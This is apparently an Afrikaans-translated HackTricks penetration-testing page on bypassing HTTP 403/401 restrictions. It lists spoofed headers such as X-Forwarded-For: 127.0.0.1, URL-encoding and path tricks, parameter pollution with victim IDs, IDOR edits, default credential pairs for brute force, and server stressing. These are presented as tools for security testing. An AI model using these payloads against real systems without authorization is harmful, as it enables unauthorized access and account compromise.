hacktricks/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
2024-02-11 02:07:06 +00:00

9.1 KiB
Raw Blame History

403 & 401 Deurpasse

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Onmiddellik beskikbare opset vir kwesbaarheidsassessering & penetrasietoetsing. Voer 'n volledige penetrasietoets uit van enige plek met 20+ gereedskap en funksies wat strek van rekognisering tot verslagdoening. Ons vervang nie penetrasietoetsers nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, skulpe te kraak en pret te hê.

{% embed url="https://pentest-tools.com/" %}

HTTP Verbs/Metodes Fuzzing

Probeer om verskillende metodes te gebruik om by die lêer te kom: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Kyk na die reaksiehoofers, dalk kan daar inligting gegee word. Byvoorbeeld, 'n 200-reaksie op HEAD met Content-Length: 55 beteken dat die HEAD-metode toegang tot die inligting kan kry. Maar jy moet steeds 'n manier vind om daardie inligting uit te voer.
  • Deur 'n HTTP-hoofer soos X-HTTP-Method-Override: PUT te gebruik, kan die gebruikte metode oorskryf word.
  • Gebruik die TRACE-metode en as jy baie gelukkig is, kan jy dalk ook die hoofers sien wat deur tussenliggende proksi's bygevoeg is wat nuttig kan wees.

HTTP Hoofers Fuzzing

  • Verander die Host-hoofer na 'n willekeurige waarde (wat hier gewerk het)

  • Probeer om ander Gebruikersagent te gebruik om toegang tot die bron te verkry.

  • Fuzz HTTP Hoofers: Probeer om HTTP Proxy Hoofers, HTTP-verifikasie van Basiese en NTLM-brute force (met 'n paar kombinasies slegs) en ander tegnieke te gebruik. Om dit alles te doen, het ek die gereedskap fuzzhttpbypass geskep.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

As die pad beskerm is, kan jy probeer om die padbeskerming te omseil deur hierdie ander hoofers te gebruik:

  • X-Original-URL: /admin/console
  • X-Rewrite-URL: /admin/console
  • As die bladsy agter 'n proksi is, is dit dalk die proksi wat jou verhoed om toegang tot die privaat inligting te verkry. Probeer om HTTP-aanvraagsmokkelary of hop-by-hop hoofers** te misbruik.**
  • Fuzz spesiale HTTP-hoofers op soek na 'n verskillende reaksie.
  • Fuzz spesiale HTTP-hoofers terwyl jy HTTP-metodes fuzz.
  • Verwyder die Host-hoofer en dalk sal jy die beskerming kan omseil.

Pad Fuzzing

As /path geblokkeer is:

  • Probeer om /%2e/path _(as die toegang deur 'n proksi geblokkeer word, kan dit die beskerming omseil). Probeer ook_** /%252e**/path (dubbele URL-kodering)
  • Probeer Unicode-omseiling: /%ef%bc%8fpath (Die URL-gekodeerde karakters is soos "/") sodat dit, wanneer dit terug gekodeer word, //path sal wees en dalk het jy reeds die /path-naamkontrole omseil
  • Ander padomseilings:
  • site.com/secret > HTTP 403 Verbode
  • site.com/SECRET > HTTP 200 OK
  • site.com/secret/ > HTTP 200 OK
  • site.com/secret/. > HTTP 200 OK
  • site.com//secret// > HTTP 200 OK
  • site.com/./secret/.. > HTTP 200 OK
  • site.com/;/secret > HTTP 200 OK
  • site.com/.;/secret > HTTP 200 OK
  • site.com//;//secret > HTTP 200 OK
  • site.com/secret.json > HTTP 200 OK (ruby)
  • Gebruik die hele lys in die volgende situasies:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • Ander API-omseilings:
  • /v3/users_data/1234 --> 403 Verbode
  • /v1/users_data/1234 --> 200 OK
  • {“id”:111} --> 401 Ongeoutoriseer
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Ongeoutoriseer
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON-parameterverontreiniging)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameterverontreiniging)

Parameter Manipulation

  • Verander param-waarde: Van id=123 --> id=124
  • Voeg ekstra parameters by die URL: ?id=124 —-> id=124&isAdmin=true
  • Verwyder die parameters
  • Herskik parameters
  • Gebruik spesiale karakters.
  • Voer grenstoetsing uit in die parameters - verskaf waardes soos -234 of 0 of 99999999 (net 'n paar voorbeeldwaardes).

Protokolverandering

As jy HTTP/1.1 gebruik, probeer om 1.0 te gebruik of selfs toets of dit 2.0 ondersteun.

Ander omseilings

  • Kry die IP of CNAME van die domein en probeer om direk daarmee kontak te maak.
  • Probeer om die bediener te stres deur algemene GET-versoeke te stuur (Dit het vir hierdie ou met Facebook gewerk).
  • Verander die protokol: van http na https, of van https na http
  • Gaan na https://archive.org/web/ en kyk of daardie lêer in die verlede wêreldwyd toeganklik was.

Brute Force

  • Raai die wagwoord: Toets die volgende algemene geloofsbriewe. Weet jy iets van die slagoffer? Of die CTF-uitdaging se naam?
  • Brute force: Probeer basiese, digest en NTLM-outentifikasie.

{% code title="Gewone geloofsbriewe" %}

admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

{% endcode %}

Outomatiese Gereedskap

Onmiddellik beskikbare opset vir kwesbaarheidsassessering en penetrasietoetsing. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en funksies wat strek van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, skulpe te kraak en pret te hê.

{% embed url="https://pentest-tools.com/" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: